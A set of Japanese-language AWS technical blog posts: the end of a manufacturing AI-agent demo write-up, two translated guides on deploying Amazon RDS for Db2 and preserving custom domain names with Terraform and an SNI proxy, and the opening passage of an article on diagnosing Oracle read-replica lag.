エージェントの推論フローを解説してきました。このセクションでは視点を引いて、工場の設備からデータを収集し、エージェントが推論するまでを支えるシステム全体の構成を説明します。 本デモは、エッジ (工場) ・IoT データ収集・AI エージェントの 3 レイヤーで構成されています。工場側では 2 系統のデータ経路を持ちます。設備データは PLC → OPC UA サーバー → AWS IoT Greengrass → AWS IoT SiteWise という経路で収集されます。OPC UA は設備のリアルタイム値だけでなくアセット階層(設備間の親子関係や型定義)も標準化された形で公開するため、AWS IoT SiteWise 側でデータストリームとアセット階層の両方を構造化して管理できます。カメラ映像は別系統で、ONVIF 対応カメラ → Raspberry Pi 上の AWS IoT Greengrass → Amazon Kinesis Video Streams に送信されます。カメラの PTZ 制御は AWS IoT Core 経由の MQTT で行い、AI エージェントから操作可能です。 AI エージェントレイヤーでは、Amazon Bedrock AgentCore 上で Strands SDK ベースのオーケストレーターが動作し、問いの種類に応じて専門サブエージェントに処理を委譲します。本記事で解説した実現性診断のフロー (Step 1〜5) は Production Analyst が担当し、カメラ映像による現場確認は Camera Inspector、FMEA など品質文書の参照は QA Manager、制御プログラムの変更案生成は PLC Engineer が担います。各サブエージェントは Amazon Neptune (ナレッジグラフ探索)、AWS IoT SiteWise (リアルタイム値取得) 、DynamoDB (BOP・在庫・オーダー) 、Amazon Bedrock Knowledge Bases (工程設計書・FMEA) 、Amazon Kinesis Video Streams (映像フレーム取得) にアクセスします。 以上が本デモの技術的な全体像です。最後に、実際にブースで来場者の方々と対話する中で見えてきた、実運用に向けた課題を考察します。 全体アーキテクチャ お客様の声と課題 AWS Summit Japan 2026 のブースで製造業のお客様から得たフィードバックのうち、特に多かった 3 点と現時点での見解を共有します。 「関係性を最初に定義するのが大変だ」 — 本デモでは生成 AI に グラフスキーマの定義 を依頼し、一括で生成することで対応しました。「増産診断」というユースケースが明確だったため、必要な関係性の範囲を絞れたことが大きいです。ただし、対象範囲やノード数が拡大した場合に同じ手法でスケールするかは検証が必要です。 「グラフのメンテナンスが大変では?」 — ブースでは「BOM 階層が 100 近くある」という声も戴きました。本デモは数十ノード程度の規模であり、そうした現実のスケールでの変更管理、例えば ERP マスタ変更をイベント駆動で Amazon Neptune に反映するパイプラインなどは今後取り組む必要があります。 「そもそもデータが揃っていない」 — AI エージェント活用デモの多くは参照先データが整備済みの前提で構築されており、本デモも例外ではありません。ただ、本デモは全データをグラフに集約せず、グラフ・IoT・DynamoDB・ドキュメントをそれぞれ別のツールとしてエージェントに持たせる構成にしています。この形だと、新しいデータソースが用意できたときに既存の構成を作り直さず、ツールを 1 つ足すことで対応できます。全体が揃うのを待つのではなく、まず 1 ユースケースに必要なデータから始めて、揃った分だけ段階的に足していく進め方も、選択肢としてあり得るのではないかと考えています。 まとめ 本記事では、AWS Summit Japan 2026「生産ラインの未来」ブースで展示したデモの技術詳細として、製造ドメインのグラフスキーマの設計と、そこに IoT データを接続する方式を解説しました。取り組んだのは「AI エージェントに工場の構造をどう教えるか」というテーマです。製品・部品・設備・サプライヤーの関係を型とエッジとして定義し、Amazon Neptune 上のナレッジグラフに実装しました。サイクルタイムや在庫といった鮮度の高いデータはグラフに持たせず、AWS IoT SiteWise や Amazon DynamoDB から必要なときに参照します。変わりにくい構造と、刻々と変わる値を分けることで、エージェントの回答を速く安定させることを目指しました。一方で、本デモで定義したのは、型（ノード）と、型の間にどの関係が張れるかまでで、その関係自体が従うルールは定義していません。次のステップとして考えられるのは、こうしたルールを RDF/OWL のような形式で記述し、オントロジーへと発展させることです。明示的にリンクを張らなくても不良素材から影響製品を辿れたり、データの矛盾を自動で検出できたりと、対応できる範囲を広げられると考えています。本記事が、製造業のお客様が自社のデータを AI エージェントで活かすための一歩として、参考になれば幸いです。 使用サービス Amazon Neptune — 製造ドメインのナレッジグラフ Amazon Bedrock / Amazon Bedrock AgentCore — AI エージェントの推論基盤 Amazon Bedrock Knowledge Bases — 工程設計書のドキュメント検索 AWS IoT Greengrass — エッジゲートウェイ AWS IoT Core — デバイス接続 AWS IoT SiteWise — 設備稼働データの構造化・蓄積 Amazon Kinesis Video Streams — 工場カメラ映像の管理 Amazon DynamoDB — 生産オーダー・在庫・BOP の格納 著者 新澤 雅治 (Masaharu Niizawa) — IoT Specialist Solutions Architect。製造業、IT 企業を経て AWS に入社。現在は IoT スペシャリストソリューションアーキテクトとして、主に製造業のお客様の Industrial IoT 関連案件の支援に携わる。 松永 充弘 (Mitsuhiro Matsunaga) — Senior Solutions Architect。製造業のお客様を担当するソリューションアーキテクト。クラウド × データ × AI でお客様のビジネスを支援。前職では製造業にて、機器の IoT 化、AI 活用を担当。 関連リンク AWS Summit Japan 2026 ブース紹介 生産ラインの未来 Amazon Neptune — 概要 Amazon Bedrock AgentCore — 概要 AWS IoT Core ー 概要 AWS IoT Greengrass ー 概要 AWS IoT SiteWise — 概要

本記事は 2026 年 5 月 26 日 に公開された「 Preserving custom domain names for Amazon RDS for Db2 」を翻訳したものです。 IBM Db2 のワークロードをオンプレミスから Amazon Relational Database Service (Amazon RDS) for Db2 へ移行するお客様からは、既存のアプリケーション接続文字列を変更せずに使い続ける方法についてよく質問をいただきます。Amazon RDS for Db2 は、DB パラメータグループの ssl_svcename パラメータと db2comm レジストリ変数を SSL または SSL,TCP に設定することで、エンドツーエンドの暗号化をネイティブにサポートしています。ただしアプリケーションは、あらかじめ定義された RDS エンドポイント (例: mydb.abc123.us-east-1.rds.amazonaws.com:50000 ) に接続する必要があります。 proddb.company.com:1443 から RDS エンドポイントへ切り替えるために数百ものアプリケーション接続文字列を書き換える作業は、コストがかかり、ミスも生じやすく、リフトアンドシフト移行の速度を低下させます。 本記事では、 aws-samples/sample-rds-db2-tools リポジトリで公開されているモジュール化された Terraform テンプレートを紹介します。このテンプレートを使うと、Amazon RDS for Db2 へのエンドツーエンドの TLS 暗号化を維持しながら、アプリケーションが既存のカスタムドメイン名とポートをそのまま利用できます。テンプレートは、Server Name Indication (SNI) ベースの TLS プロキシをデプロイし、暗号化されたトラフィックを復号することなく転送します。 ソリューションの概要 テンプレートは、次の図のように 5 つの番号付き Terraform モジュールに分割されています。 各モジュールはスタックの特定の部分を担当し、それぞれ独立したリモート状態を保持します。そのため、他のモジュールに影響を与えずに 1 つのモジュールだけを更新できます。テンプレートは、状態管理とロックに Amazon Simple Storage Service (Amazon S3) と Amazon DynamoDB を使用し、証明書の保管に AWS Secrets Manager と AWS Certificate Manager (ACM) を使用します。 モジュール 作成されるもの 0-backend-setup Terraform のリモート状態用の Amazon S3 バケットと Amazon DynamoDB テーブル 1-prerequisites AWS Secrets Manager と ACM に保管される自己署名 SSL 証明書 2-infrastructure OpenResty (Nginx) を実行する Amazon Elastic Compute Cloud (Amazon EC2) インスタンス、 Amazon Network Load Balancer (NLB) 、 Amazon Route 53 のプライベートホストゾーン 3-mappings AWS Systems Manager パラメータストア内のカスタムドメインから RDS エンドポイントへのマッピング、およびポートごとに動的に作成される NLB リスナーとターゲットグループ 4-health-check デプロイの検証 (EC2 のステータス、リッスンしているポート、ターゲットグループのヘルス、設定ファイル) プロキシは TLS の ClientHello から SNI フィールドを読み取り、暗号化されたストリームを一致する RDS エンドポイントへ転送します。トラフィックはプロキシ上で復号されないため、クライアントから RDS までエンドツーエンドの暗号化が維持されます。EC2 インスタンス上の cron ジョブが 5 分ごとにパラメータストアからプロキシ設定を更新するため、データベースの追加や削除の際にインフラストラクチャを再デプロイする必要はありません。 前提条件 この手順を進めるには、次のものが必要です。 Amazon EC2、NLB、Route 53、 AWS Identity and Access Management (IAM) 、AWS Secrets Manager、ACM、Amazon S3、Amazon DynamoDB のリソースを作成する権限を持つ AWS アカウント。リポジトリには terraform-service-account-policy.json と サービスアカウントのセットアップガイド が同梱されています。 ローカルにインストールされた Terraform 1.5 以降、AWS Command Line Interface (AWS CLI)、および jq 。 少なくとも 2 つのアベイラビリティーゾーンにプライベートサブネットを持ち、DNS ホスト名と DNS 解決が有効になっている既存の Amazon Virtual Private Cloud (Amazon VPC) 。 SSL アクセス用に設定された 1 つ以上の Amazon RDS for Db2 インスタンス。 db2comm を SSL または SSL,TCP に設定し、DB パラメータグループの ssl_svcename で SSL ポートを定義します。詳細については、 Amazon RDS for Db2 DB インスタンスでの SSL/TLS の使用 を参照してください。 リポジトリをクローンします。 git clone https://github.com/aws-samples/sample-rds-db2-tools.git cd sample-rds-db2-tools/tools/End-to-End-Trust ウォークスルー 以下の各サブセクションでは、それぞれのステップを要約します。完全なコマンド、変数の説明、サンプルの tfvars ファイルは、リポジトリの README からリンクされている各モジュールの README にあります。 ステップ 1: リモート状態を初期化する 残りのモジュールの状態を保持する S3 バケットと DynamoDB テーブルを作成します。 cd 0-backend-setup ./bootstrap-backend.sh terraform init && terraform apply --auto-approve cd .. ./configure-modules.sh configure-modules.sh スクリプトは、モジュール 1 から 4 に backend.tf を書き込み、すべてが同じ共有状態バケットを使用するようにします。 ステップ 2: 証明書を生成する モジュール 1 は、ワイルドカードのカスタムドメイン (例: *.db.mycompany.com) 用の自己署名証明書を生成し、秘密鍵を AWS Secrets Manager に、証明書を ACM に保管します。 terraform.tfvars を aws_region 、 domain_name 、 organization で編集し、 terraform init && terraform apply --auto-approve を実行します。 本番環境では、自己署名証明書を、企業の認証局が発行した証明書に置き換えてください。自己署名のフローは、開発およびテスト用です。 ステップ 3: プロキシインフラストラクチャをデプロイする モジュール 2 は、EC2 プロキシ、NLB、および Route 53 プライベートホストゾーンをデプロイします。 ./configure-infrastructure.sh を実行して VPC、サブネット、セキュリティグループを対話的に選択するか、 terraform.tfvars を手動で記述します。スクリプトがファイルを生成し、モジュール 2 が NLB を EC2 プロキシに接続し、証明書とパラメータストアの読み取りを許可するインスタンスプロファイルをアタッチして、NLB を指すワイルドカード DNS レコードをカスタムドメイン配下に作成します。 ステップ 4: RDS マッピングを設定する モジュール 3 では、どのカスタムドメインとポートをどの RDS エンドポイントにルーティングするかを記述します。 rds_mappings = { "proddb.company.com:1443" = "mydb-prod.abc123.us-east-1.rds.amazonaws.com:50000" "testdb.company.com:1443" = "mydb-test.def456.us-east-1.rds.amazonaws.com:50000" "devdb.company.com:50443" = "mydb-dev.ghi789.us-east-1.rds.amazonaws.com:50000" } モジュールは一意のクライアントポート (この例では 1443、50443) を抽出し、ポートごとに 1 つの NLB リスナーとターゲットグループを作成して EC2 プロキシを登録し、各マッピングを /rds/proxy/mappings/<domain> 配下のパラメータストアに書き込みます。EC2 インスタンス上の cron ジョブが 5 分以内に新しいマッピングを取得し、プロキシ設定を再読み込みします。 後からデータベースを追加または削除するには、 rds_mappings を編集して terraform apply を実行し、cron ジョブを待ちます。インフラストラクチャの再デプロイは不要です。 ステップ 5: デプロイを検証する モジュール 4 は、EC2 インスタンスが実行中であること、SSM エージェントがオンラインであること、 OpenResty がアクティブであること、マッピングされたすべてのポートがリッスンしていること、すべての NLB ターゲットグループが正常であること、プロキシ設定と証明書がインスタンス上に存在することを検証する、スクリプト化されたヘルスチェックを実行します。 4-health-check から terraform init && terraform apply --auto-approve を実行します。実行に成功すると、次のようなサマリーが出力されます。 ✓ EC2 instance is running ✓ OpenResty service is active ✓ Port 1443 is listening ✓ Port 50443 is listening ✓ Port 1443 target group: healthy ✓ Port 50443 target group: healthy ✓ RDS mappings configured (3 entries) ステップ 6: Db2 クライアントから接続する 同じ VPC 内 (またはプロキシ VPC とピアリングされた Amazon VPC) の Db2 クライアントから、リージョン固有の RDS 証明書バンドル (例: us-east-1-bundle.pem ) をダウンロードし、カスタムドメインとポートを使用するように db2dsdriver.cfg を設定します。 <dsn alias="PRODDB" host="proddb.company.com" name="BLUDB" port="1443"> <parameter name="SSLServerCertificate" value="/home/db2user/certs/us-east-1-bundle.pem"/> <parameter name="SecurityTransportMode" value="SSL"/> <parameter name="TLSVersion" value="TLSV12"/> </dsn> 次に接続します。 db2 connect to PRODDB user <username> using <password> プロキシはストリームを一切復号しないため、クライアントが検証する証明書は RDS の証明書となり、接続がエンドツーエンドで暗号化されていることが確認できます。Java KeyStore の設定を完全に回避する Java クライアントのレシピについては、 KeyStore や Keytool を使わずに Java で Amazon RDS for Db2 への SSL 接続を作成する を参照してください。 クリーンアップ 継続的な課金を避けるため、モジュールを逆順に破棄します。 ./cleanup.sh スクリプトはモジュール 3 から 1 を破棄し、状態バケットから rdsdb2-proxy/* プレフィックスを削除して、ローカルの Terraform ファイルをリセットします。モジュール 0 の状態バケットと DynamoDB テーブルは保持されるため、同じアカウント内の他の Terraform プロジェクトには影響しません。不要になった場合は手動で削除してください。 考慮事項と制限事項 このテンプレートは移行期の暫定的なソリューションとして設計しました。目的は、アプリケーション接続文字列を初日から書き換えることなく Amazon RDS for Db2 へ移行する時間を確保し、その後アプリケーションがネイティブの RDS エンドポイントを採用するにつれてプロキシを廃止できるようにすることです。アプリケーションを本当に変更できない場合 (例: 接続文字列がハードコードされたサードパーティ製アプリケーション) は、プロキシを無期限に運用することもできますが、その場合は運用、監視、パッチ適用が必要な追加のインフラストラクチャとして扱う必要があります。 コスト。 プロキシは、RDS for Db2 の料金に加えて、次の費用が発生します (参考として us-east-1 のリスト価格を使用)。 Amazon EC2 インスタンス 1 台: t3.medium (開発用) で月額約 30 ドル、 c8i.large (本番のベースライン) で月額約 55 ドル。高可用性のためにアベイラビリティーゾーンをまたいで 2 台にすると、おおよそこの倍になります。 Network Load Balancer 1 台: アベイラビリティーゾーンあたり月額約 16 ドルに加え、LCU 時間あたり 0.006 ドルと GB あたりのデータ処理料金。低ボリュームのワークロードでカスタムポートが 1 つか 2 つの場合、NLB の料金は通常月額 25 ドル未満に収まります。 Amazon Route 53 プライベートホストゾーン: ゾーンあたり月額 0.50 ドルに加え、100 万クエリあたり 0.40 ドル。 AWS Secrets Manager と AWS Systems Manager パラメータストア: 証明書のシークレットと標準ティアのマッピングパラメータで月額 1 ドル未満。 単一インスタンスのリファレンスデプロイは、通常月額 50 ドルから 100 ドルの間に収まります。 c8i.large の Auto Scaling グループを使用する 2 アベイラビリティーゾーンの本番デプロイは、データ転送料金を除いて月額 140 ドルから 200 ドルの間に収まります。 運用上の考慮事項。 デプロイを計画する際は、次の点に留意してください。 リファレンスアーキテクチャの単一障害点。 モジュール 2 は EC2 インスタンスを 1 台デプロイします。本番環境では、アベイラビリティーゾーンをまたいで 2 台以上のインスタンスを同じ NLB ターゲットグループに登録する Auto Scaling グループに置き換えてください。プロキシはステートレスなので、スケールアウトは容易です。 デフォルトでは自己署名証明書。 モジュール 1 は、ウォークスルーが単独で完結するように自己署名ワイルドカード証明書を生成します。本番環境では、企業の認証局が発行した証明書に置き換え、同じパラメータ名を使用して AWS Certificate Manager と AWS Secrets Manager にインポートしてください。 SNI が必須。 プロキシは、TLS の ClientHello の SNI 拡張を読み取って接続をルーティングします。最新の Db2 クライアントは SSL が設定されていると SNI を送信しますが、SNI を送信しないレガシークライアントはルーティングできず、単一の RDS エンドポイントにマッピングされたポートを使用する必要があります。 設定更新の遅延。 rds_mappings の新しいエントリは、EC2 の cron ジョブによって 5 分以内に取得されます。それを見込んで変更を計画するか、即時に更新するにはインスタンス上で /usr/local/bin/update-nginx-config.sh を実行してください。 DNS のスコープ。 Route 53 ホストゾーンはプライベートです。クライアントは、ゾーンに関連付けられた VPC (プロキシ VPC、ピアリングされた VPC、または Route 53 Resolver ルールを使用して AWS Transit Gateway 経由で到達可能な VPC) からカスタムドメインを解決する必要があります。パブリック DNS の解決は意図的に公開されていません。 単一リージョンのデプロイ。 テンプレートは 1 つの AWS リージョンにデプロイされます。マルチリージョンの災害対策のためには、各リージョンにテンプレートを個別にデプロイし、フェイルオーバーには Route 53 のヘルスチェックを使用してください。 キャパシティプランニング。 OpenResty は TCP パススルーで効率的に動作し、 c8i.large インスタンスは数千の同時接続を余裕を持って処理しますが、プロキシが集約ワークロードに見合ったサイズになるよう、 CPUUtilization 、 NetworkIn 、 NetworkOut 、および NLB の HealthyHostCount と ActiveFlowCount を監視する必要があります。 プロキシからの移行パス。 アプリケーションがネイティブの RDS エンドポイントに接続するよう更新されたら、対応するエントリを rds_mappings から削除して terraform apply を実行します。最後のエントリを削除したら、 cleanup.sh を実行してプロキシインフラストラクチャを廃止します。 まとめ このモジュール化された Terraform テンプレートを使うと、真のエンドツーエンドの TLS 暗号化を維持しながら、アプリケーション接続文字列を 1 つも書き換えることなく IBM Db2 ワークロードを Amazon RDS for Db2 へリフトアンドシフトできます。プロキシは TLS 終端ではなく SNI ルーティングを使用するため、暗号化されたストリームはバイト単位でそのまま RDS へ転送されます。各モジュールは小さく、焦点が絞られ、冪等性があるため、段階的に採用でき、プロキシのロジックを変更せずにネットワークレイヤーを単一 VPC、マルチ VPC、AWS Transit Gateway、AWS PrivateLink、ハイブリッドのデプロイパターンに適応させられます。 完全なテンプレート、パラメータリファレンス、トラブルシューティングガイド、サンプルの tfvars ファイルは、 aws-samples/sample-rds-db2-tools で入手できます。 AWS における Db2 関連のコンテンツについては、 Deploying Amazon RDS for Db2 using Terraform 、 Amazon RDS for Db2 ユーザーガイド 、および AWS Database Blog を参照してください。 謝辞 本記事をレビューしてくれた Rajib Sarkar と Kshitoj Sanghoi 、そしてソリューションを徹底的にテストしてくれた Muhammad Gaballah に心から感謝します。 著者について Vikram Khatri Vikram は、 Vikram は Amazon RDS for Db2 のシニアエンジニアです。プロダクトマネジメント、経験豊富なアーキテクト、リーダーシップ、AI エキスパートユーザーなど、複数の役割を担っています。20 年以上の経験を持ち、新しい製品をゼロから開発することに情熱を注いでいます。 Sumit Kumar Sumit は、 Sumit は AWS のシニアソリューションアーキテクトで、複雑な問題を解決することを楽しんでいます。さまざまな業界のお客様が AWS クラウド上でワークロードを構築・設計するのを支援してきました。料理、チェス、家族と過ごす時間を楽しんでいます。 Ashish Prasad Ashish は、 Ashish は AWS のシニアソリューションアーキテクトであり、リードデータベースアーキテクトです。データベース技術において 20 年以上の経験を持っています。 この記事はSolutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 5 月 19 日 に公開された「 Deploying Amazon RDS for Db2 using Terraform 」を翻訳したものです。 IBM Db2 ワークロードを運用しているお客様からは、既存の Infrastructure as Code のプラクティスに適合する形で、Amazon Relational Database Service (Amazon RDS) for Db2 を再現性が高く監査可能な方法でプロビジョニングしたいという要望をよくいただきます。本記事では、 aws-samples/sample-rds-db2-tools リポジトリで公開しているモジュール式の Terraform テンプレートを紹介します。このテンプレートを使えば、空の AWS アカウントから、AWS License Manager で追跡される稼働中の RDS for Db2 インスタンスまでを 1 時間以内で構築できます。 ソリューションの概要 テンプレートは、以下の図のように 7 つの番号付き Terraform モジュールに分かれています。 各モジュールはスタックの特定の部分を担い、独自のリモートステートを保持します。そのため、他のモジュールに影響を与えることなく 1 つのモジュールだけを変更できます。ステート管理、ロック、暗号化には、Amazon Simple Storage Service (Amazon S3)、Amazon DynamoDB、AWS Key Management Service (AWS KMS) を使用します。 モジュール 作成されるもの 0-backend-setup Terraform のリモートステート用の Amazon S3 バケットと Amazon DynamoDB テーブル 1-networking 仮想プライベートクラウド (VPC) から導出した DB サブネットグループ (オプションでインターフェイス型 VPC エンドポイントを含む) 2-iam 拡張モニタリング、S3 統合、ディレクトリサービス、監査用の IAM ロール 3-kms カスタマーマネージド AWS KMS キー (マルチリージョン対応) 4-parameter-group IBM カスタマー ID と IBM サイト ID を含む DB パラメータグループ 5-rds RDS for Db2 インスタンス本体 6-license-manager エンジンエディションの製品フィルターを持つ AWS License Manager のセルフマネージドライセンス 各モジュールは入力値を terraform.tfvars ファイルから読み取り、AWS プロバイダーで default_tags を使用するため、すべてのリソースに一貫したタグ ( Project 、 ManagedBy 、 Environment 、 Owner ) が付与されます。 テンプレートは、AWS の商用リージョンと AWS GovCloud (US) リージョンの両方に対応しています。すべての ARN は aws_partition データソースを使って構築されるため、同じコードで商用リージョンでは arn:aws:... 、GovCloud では arn:aws-us-gov:... を修正なしで生成できます。 前提条件 この手順を進めるには、以下が必要です。 IAM ロール、KMS キー、RDS インスタンス、License Manager の設定を作成する権限を持つ AWS アカウント。 ローカルにインストールされた Terraform 1.5 以降。 RDS for Db2 インスタンスを実行する既存の Amazon Virtual Private Cloud (Amazon VPC) とセキュリティグループ。 IBM カスタマー ID と IBM サイト ID (Bring Your Own License に必要。 RDS for Db2 のライセンスに関するドキュメント を参照)。 リポジトリをクローンします。 git clone https://github.com/aws-samples/sample-rds-db2-tools.git cd sample-rds-db2-tools/tools/rds-db2-terraform ウォークスルー 以降のセクションで各モジュールの概要を説明します。完全なコマンド、変数の説明、サンプルの tfvars ファイルは、リポジトリの README にあります。 ステップ 1: リモートステートの初期化 残りのモジュールのステートを保持する S3 バケットと DynamoDB テーブルを作成します。 cd 0-backend-setup cp terraform.tfvars.example terraform.tfvars # edit terraform.tfvars to set a globally unique bucket name terraform init && terraform apply cd .. ./configure-modules.sh configure-modules.sh スクリプトは、各下流モジュールに backend.tf を書き込み、すべてのモジュールが同じ共有ステートバケットを使用するようにします。 ステップ 2: ネットワーク、IAM、暗号化 モジュール 1 から 3 で、支えとなるインフラストラクチャをセットアップします。それぞれ 1 分以内に完了します。 1-networking は、VPC のサブネットをルートテーブルに基づいてパブリックまたはプライベートに自動分類し、適切なサブネットで DB サブネットグループを作成します。 2-iam は、それぞれブール値のフラグで制御される 4 つのオプションの IAM ロールを作成します。対応する _exists フラグを設定すれば既存のロールを再利用でき、 EntityAlreadyExists エラーを回避できます。 3-kms は、カスタマーマネージド KMS キーを作成するか、エイリアス検索で既存のキーを再利用します。後でクロスリージョンのスタンバイレプリカを追加する予定がある場合は、 multi_region_key = true を設定します。 ステップ 3: パラメータグループ モジュール 4 は、IBM カスタマー ID と IBM サイト ID を含む DB パラメータグループを作成します。検証によってサポートされる組み合わせが強制されます。Db2 11.5 ではエディション se と ae 、Db2 12.1 では ce 、 se 、 ae を受け付けます。どちらの ID も sensitive としてマークされるため、プランの出力には表示されません。 ステップ 4: RDS for Db2 インスタンス モジュール 5 は最も実行時間が長いステップです (ストレージサイズやマルチ AZ を有効にするかどうかによって 15 分から 40 分)。事前に決めなければならない項目を減らす便利な機能がいくつか用意されています。 engine_version を空白のままにすると、選択したメジャーバージョンの最新マイナーバージョンが自動的に解決されます (たとえば Db2 11.5 は 11.5.9.0 に解決されます)。 db_instance_identifier を空白のままにすると、エンジン、バージョン、インスタンスクラス、ストレージタイプ、タグから db2se-11-5-r7i-xl-xs-gp3-saz-12k-myproj のような名前が自動的に構築されます。 manage_master_user_password = true (デフォルト) を設定すると、RDS がマスターパスワードを AWS Secrets Manager で作成し、ローテーションします。シークレットの ARN は managed_master_user_secret_arn としてエクスポートされます。 このモジュールは gp3 の IOPS ルールも処理します。 allocated_storage < 400 GiB の場合は iops と storage_throughput の引数を省略し、API がリクエストを受け付けられるようにします。 ステップ 5: License Manager モジュール 6 は、セルフマネージドのライセンス設定を作成します。 RDS for Db2 のライセンスに関するドキュメント に従い、BYOL を利用するお客様は License Manager で vCPU の消費量を登録します。その後、License Manager はエンジンエディションの製品情報フィルターを使って、該当する RDS インスタンスを自動的に検出します。 重要な注意点が 2 つあります。 アカウントとリージョンで License Manager を初めて使用する際は、サービスにリンクされたロールを作成する必要があります。このモジュールには、これを冪等に実行する bootstrap.sh スクリプトが含まれています。最初の terraform apply の前に一度実行してください。 AWS Terraform プロバイダーは現在、 aws_licensemanager_license_configuration の product_information_list ブロックを公開していません。このモジュールは、作成後に null_resource を使って AWS Command Line Interface (AWS CLI) 経由で aws license-manager update-license-configuration を呼び出すことで、この制約を回避します。該当する RDS インスタンスの検出には最大 24 時間かかることがあります。 クリーンアップ 継続的な課金を避けるため、モジュールを逆順に破棄します。 ./cleanup.sh 0-backend-setup モジュールでは、ステートバケットとロックテーブルに prevent_destroy = true が設定されています。ステートバックエンド自体を破棄したい場合は、まずそのライフサイクルルールを削除してください。 まとめ このモジュール式の Terraform テンプレートを使えば、リモートステートと License Manager 統合を最初から備えた形で、本番環境レベルの Amazon RDS for Db2 をプロビジョニングできます。さらに、GovCloud 互換性のためのパーティション対応 ARN や、RDS が管理するマスターパスワードも利用できます。各モジュールは小さく焦点が絞られており、冪等であるため、段階的に導入できます。たとえば、 3-kms モジュールを既存の KMS エイリアスに向けたり、モニタリングと監査のロールがすでに存在する場合は 2-iam を丸ごとスキップしたりできます。 完全なテンプレート、パラメータリファレンス、トラブルシューティングガイド、サンプルの tfvars ファイルは、 aws-samples/sample-rds-db2-tools で入手できます。 AWS における Db2 関連のコンテンツについては、 Amazon RDS for Db2 ユーザーガイド と AWS Database Blog を参照してください。 著者について Vikram S Khatri Vikram は、 Vikram は Amazon RDS for Db2 のシニアエンジニアです。プロダクトマネジメント、経験豊富なアーキテクト、リーダーシップ、AI エキスパートユーザーなど、複数の役割を担っています。20 年以上の経験を持ち、製品をゼロから開発することに情熱を注いでいます。 Sumit Kumar Sumit は、 Sumit は AWS のシニアソリューションアーキテクトで、複雑な問題を解決することを楽しんでいます。さまざまな業界のお客様が AWS クラウド上でワークロードを構築・設計できるよう支援してきました。料理やチェス、家族と過ごす時間を楽しんでいます。 Ashish Prasad Ashish は、 Ashish は AWS のシニアソリューションアーキテクトであり、リードデータベースアーキテクトです。データベース技術において 20 年以上の経験を持っています。 Javeed Mohammed Javeed は、 Javeed は Amazon Web Services (AWS) のシニアデータベーススペシャリストソリューションアーキテクトです。Amazon RDS チームに所属し、Oracle や Db2 といった商用データベースエンジンを専門としています。お客様と協力して、AWS クラウド上でのリレーショナルデータベースワークロードの設計、デプロイ、最適化を支援することに取り組んでいます。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 7 月 9 日 に公開された「 Diagnose and resolve replica lag in Amazon RDS for Oracle replicas – Part 2 」を翻訳したものです。 本記事は、Amazon Relational Database Service (Amazon RDS) for Oracle リードレプリカのレプリケーション遅延を減らす方法を扱う 2 回シリーズの後編です。 Part 1 では、REDO 圧縮とレプリカ遅延を最適化する設定オプションを紹介しました。 本記事では、次の内容を説明します。 Amazon CloudWatch メトリクスとデータベースビューを使ったレプリカ遅延の監視。 待機イベント分析による一般的な根本原因の特定。 パフォーマンス問題を解消するための段階的なトラブルシューティング手法。 Amazon RDS for Oracle の リードレプリカ でレプリカ遅延が発生した場合、迅速な診断と解消が欠かせません。遅延は、災害対策 (DR) の準備態勢の維持に影響し、リードレプリカ上で実行されるレポート用ワークロードでのデータ提供を遅らせ、データベースのメジャー / マイナーバージョンアップグレードといった通常のメンテナンス作業を遅くする可能性があります。 問題の原因が設定、アプリケーションのワークロードパターン、リソース制約のいずれであっても、根本原因を特定し、的を絞った対策を実施するための体系的な手法を紹介します。 前提条件 始める前に、次の条件を満たしていることを確認してください。 Oracle Enterprise Edition (EE) — レプリケーションを担う Oracle Data Guard は Enterprise Edition でのみ利用できるため、リードレプリカではプライマリインスタンスに Enterprise Edition が必要です。 2 つ以上の vCPU を持つ DB インスタンスクラス — レプリケーションプロセスが正しく機能するには十分なコンピューティングリソースが必要です。 適切なライセンス — 読み取り専用モードには Active Data Guard ライセンスが必要ですが、マウントモードのレプリカには不要です。バージョンやライセンスに関する具体的な制限は、「Requirements and considerations for RDS for Oracle replicas」で確認してください。 Amazon RDS for Oracle のレプリケーション遅延のトラブルシューティング 本セクションでは、遅延の特定方法と一般的な原因を扱います。遅延の存在を特定できたら、以降のセクションの手法を使って根本原因を突き止め、対策を実施できます。 レプリカ遅延を特定する方法 レプリカ遅延は、 Amazon CloudWatch メトリクスを使うか、Oracle のデータベースビューを直接クエリして特定できます。CloudWatch メトリクスでは遅延を素早く特定でき、データベースビューではより詳細な診断情報が得られます。 Amazon RDS for Oracle では、ReplicaLag CloudWatch メトリクスはリードレプリカインスタンスでのみ利用できます。CloudWatch メトリクスの粒度について詳しくは、 CloudWatch metrics のドキュメントを参照してください。 Amazon CloudWatch メトリクス – ReplicaLag ReplicaLag CloudWatch メトリクスは、リードレプリカでの REDO 適用の遅延を表示します。適用遅延が大きい場合は、リードレプリカ側のリソース制約 (CPU、I/O) や、適用プロセスに影響する同様の問題を示しています。 このメトリクスを表示するには、次の手順に従います。 リードレプリカインスタンスの [Monitoring] タブに移動します。 [CloudWatch] セクションで「ReplicaLag」を検索します。 データベースレベルでの現在のレプリカ遅延を確認します。 注 : RDS はリードレプリカに非同期の REDO 転送を使用するため、データベースアクティビティがない場合でもレプリカ遅延が 1 秒と表示されることがあります。 V$ ビューやアプリケーションテーブルに対して手動でデータベースクエリを実行し、データベースの変更が同期しているか検証できます。 Amazon CloudWatch メトリクス – ReplicaTransportLag ReplicaTransportLag CloudWatch メトリクスは、プライマリデータベースからリードレプリカへの REDO 転送の遅延を測定します。転送遅延が大きい場合は、通常、ネットワークの問題やプライマリ側のボトルネックを示しています。 このメトリクスを表示するには、次の手順に従います。 リードレプリカインスタンスの [Monitoring] タブに移動します。 [CloudWatch] セクションで「ReplicaTransportLag」を検索します。 データベースレベルでの現在のレプリカ遅延を確認します。 2 つのメトリクスを比較すると、遅延が転送の遅れによるものか、適用プロセスのボトルネックによるものかを判断できます。 標準的なデータベースクエリ レプリカ遅延に関するより詳細な診断情報を得るには、Oracle のデータベースビューを直接クエリできます。 公開ドキュメント に記載されているとおり、次のビューがレプリカ遅延の診断に役立ちます。 V$ARCHIVED_LOG 。 V$DATAGUARD_STATS 。 V$DATAGUARD_STATUS 。 V$ARCHIVE_GAP 。 遅延に関連するビュー ( V$DATAGUARD_STATS 、 V$DATAGUARD_STATUS 、 V$ARCHIVE_GAP ) をリードレプリカインスタンスでクエリすると、遅延の状態を取得できます。 V$ARCHIVED_LOG はプライマリとリードレプリカの両方でクエリでき、インスタンス間のログ状態を比較して特定できます。 注: Amazon RDS for Oracle の マウントモードのリードレプリカ 